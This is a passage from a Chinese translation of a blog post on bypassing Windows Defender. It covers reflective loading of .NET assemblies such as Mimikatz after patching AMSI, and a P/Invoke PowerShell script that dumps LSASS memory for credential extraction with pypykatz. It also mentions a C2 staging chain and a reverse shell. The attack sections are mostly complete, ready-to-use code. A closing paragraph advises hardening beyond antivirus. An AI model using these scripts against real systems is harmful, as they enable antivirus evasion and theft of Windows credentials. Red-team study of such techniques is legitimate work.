首先,ref.txt 是一个简单的 PowerShell AMSI 绕过,它允许我们为当前的 PowerShell 进程修补内存中 AMSI 扫描。此外,在这种情况下,PowerShell 脚本的扩展名无关紧要,因为它们的内容将作为文本简单地下载并使用 Invoke-Expression(IEX 的别名)调用。

然后我们可以执行完整的 PoC,如下所示:

在我们的受害者中执行阶段 0

绕过Windows Defender的10种方法|Bypass

受害者从我们的 C2 下载阶段

绕过Windows Defender的10种方法|Bypass

在我们的攻击者服务器中获取反向 shell

绕过Windows Defender的10种方法|Bypass

9.反射加载

您可能还记得第一部分中我们在修补内存中的 AMSI 后执行 Mimikatz 作为 Defender 停止扫描进程内存的演示。这是因为 .NET 公开了 System.Reflection.Assembly API,我们可以使用它来反射加载和执行 .NET 程序集(定义为“表示一个程序集,它是一个可重用、可版本化且自描述的公共构建块语言运行时应用程序。”)在内存中。

这当然对于攻击目的非常有用,因为 PowerShell 使用 .NET,我们可以在脚本中使用它在内存中加载整个二进制文件,以绕过 Windows Defender 大放异彩的静态分析。

脚本的一般结构如下:反射加载模板

function Invoke-YourTool
{
    $a=New-Object IO.MemoryStream(,[Convert]::FromBAsE64String("yourbase64stringhere"))
    $decompressed = New-Object IO.Compression.GzipStream($a,[IO.Compression.CoMPressionMode]::DEComPress)
    $output = New-Object System.IO.MemoryStream
    $decompressed.CopyTo( $output )
    [byte[]] $byteOutArray = $output.ToArray()
    $RAS = [System.Reflection.Assembly]::Load($byteOutArray)

    $OldConsoleOut = [Console]::Out
    $StringWriter = New-Object IO.StringWriter
    [Console]::SetOut($StringWriter)

    [ClassName.Program]::main([string[]]$args)

    [Console]::SetOut($OldConsoleOut)
    $Results = $StringWriter.ToString()
    $Results
  
}

Gzip 仅用于尝试隐藏真正的二进制文件,因此有时它可能无需进一步的绕过方法即可工作,但最重要的一行是从 System.Reflection.Assembly .NET 类调用 Load 函数以将二进制文件加载到内存中. 之后,我们可以简单地用“[ClassName.Program]::main([string[]]$args)”调用它的主函数

因此,我们可以执行以下 kill-chain 来执行我们想要的任何二进制文件:

  • AMSI/ETW补丁。
  • 反射加载并执行程序集。

幸运的是,这个 repo不仅包含每个著名工具的大量预构建脚本,还包含从二进制文件创建您自己的脚本的说明。

对于这个 PoC,我将执行 Mimikatz,但你可以随意使用任何其他的。

反射加载 Mimikatz

绕过Windows Defender的10种方法|Bypass

请注意,如前所述,某些二进制文件可能不需要绕过 AMSI,具体取决于您在脚本中应用的二进制文件的字符串表示形式。但由于 Invoke-Mimikatz 广为人知,我需要在这个例子中这样做。

10. P/调用 C# 程序集

P/Invoke 或 Platform Invoke 允许我们从非托管本机 Windows DLL 访问结构、回调和函数,以便访问可能无法直接从 .NET 获得的本机组件中的较低级别 API。

现在,由于我们知道它的作用,并且知道我们可以在 PowerShell 中使用 .NET,这意味着我们可以从 PowerShell 脚本访问低级 API,如果我们之前修补 AMSI,我们可以在没有 Defender 监视的情况下运行该脚本。

对于这个概念证明,假设我们想通过 MiniDumpWriteDump 将 LSASS 进程转储到文件中,该文件在“Dbghelp.dll”中可用。为此,我们可以利用fortra 的 nanodump 工具。但是,它充满了 Microsoft 为该工具生成的签名。相反,我们可以利用 P/Invoke 编写一个 PowerShell 脚本来执行相同的操作,但我们可以修补 AMSI 以使其在这样做时变得不可检测。

因此,我将为 PoC 使用以下 PS 代码。

MiniDumpWriteDump.ps

Add-Type @"
    using System;
    using System.Runtime.InteropServices;

    public class MiniDump {
        [DllImport("Dbghelp.dll", SetLastError=true)]
        public static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);
    }
"@

$PROCESS_QUERY_INFORMATION = 0x0400
$PROCESS_VM_READ = 0x0010
$MiniDumpWithFullMemory = 0x00000002

Add-Type -TypeDefinition @"
    using System;
    using System.Runtime.InteropServices;

    public class Kernel32 {
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);
        [DllImport("kernel32.dll", SetLastError=true)]
        public static extern bool CloseHandle(IntPtr hObject);
    }
"@

$processId ="788"

$processHandle = [Kernel32]::OpenProcess($PROCESS_QUERY_INFORMATION -bor $PROCESS_VM_READ, $false, $processId)

if ($processHandle -ne [IntPtr]::Zero) {
    $dumpFile = [System.IO.File]::Create("C:\users\public\test1234.txt")
    $fileHandle = $dumpFile.SafeFileHandle.DangerousGetHandle()

    $result = [MiniDump]::MiniDumpWriteDump($processHandle, $processId, $fileHandle, $MiniDumpWithFullMemory, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)

    if ($result) {
        Write-Host "Sucess"
    } else {
        Write-Host "Failed" -ForegroundColor Red
    }

    $dumpFile.Close()
    [Kernel32]::CloseHandle($processHandle)
} else {
    Write-Host "Failed to open process handle." -ForegroundColor Red
}

在此示例中,我们首先通过 Add-Type 从 Dbghelp.dll 导入 MiniDumpWriteDump 函数,然后从 kernel32.dll 导入 OpenProcess 和 CloseHandle。然后最终得到 LSASS 进程的句柄并使用 MiniDumpWriteDump 执行进程的完整内存转储并将其写入文件。

因此,完整的 PoC 如下:

执行 LSASS 转储

绕过Windows Defender的10种方法|Bypass

使用 impacket-smbclient 下载转储

绕过Windows Defender的10种方法|Bypass

使用 pypykatz 在本地解析 MiniDump 文件

绕过Windows Defender的10种方法|Bypass

请注意,最后我使用了一个稍微修改过的脚本,该脚本在将转储写入文件之前将其加密为 base64,因为 Defender 将文件检测为 LSASS 转储并将其删除。

结论

尽管如此,我并不是要揭露 Defender 或说它是一个糟糕的防病毒解决方案。事实上,它可能是市场上可用的最佳技术之一,并且这里的大多数技术都适用于大多数供应商。但由于它是我可以用于本文的,所以我不能代表其他人。

总之,你永远不应该依赖 AV 或 EDR 作为抵御威胁行为者的第一道防线,而应该加强基础设施,这样即使端点解决方案被绕过,你也可以将潜在的损害降到最低。例如强权限系统、GPO、ASR规则、受控访问、进程加固、CLM、AppLocker等。

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注